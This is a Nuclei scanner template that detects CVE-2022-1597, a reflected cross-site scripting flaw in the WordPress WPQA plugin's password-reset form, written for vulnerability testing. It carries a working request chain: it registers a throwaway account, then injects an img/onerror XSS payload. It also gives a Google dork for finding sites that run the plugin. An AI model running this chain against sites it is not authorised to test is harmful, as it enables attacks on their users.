nuclei-templates/http/cves/2022/CVE-2022-1597.yaml

id: CVE-2022-1597

info:
  name: WordPress WPQA <5.4 - Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade WordPress WPQA to version 5.4 or later, which includes proper input sanitization to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1597
    - https://github.com/trhacknon/Pocingit
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1597
    cwe-id: CWE-79
    epss-score: 0.00188
    epss-percentile: 0.56053
    cpe: cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: 2code
    product: wpqa_builder
    framework: wordpress
    google-query: inurl:/wp-content/plugins/wpqa
  tags: cve,cve2022,wpscan,xss,wordpress,wp-plugin,wp,wpqa,2code
variables:
  user: "{{to_lower(rand_base(5))}}"
  pass: "{{user}}{{to_lower(rand_base(3))}}"
  redirect_to: '"><img src=x onerror=alert(document.domain)>'

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
        Content-Type: application/x-www-form-urlencoded

        user_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
        Content-Type: application/x-www-form-urlencoded

        user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{redirect_to}}'
          - '"success":1'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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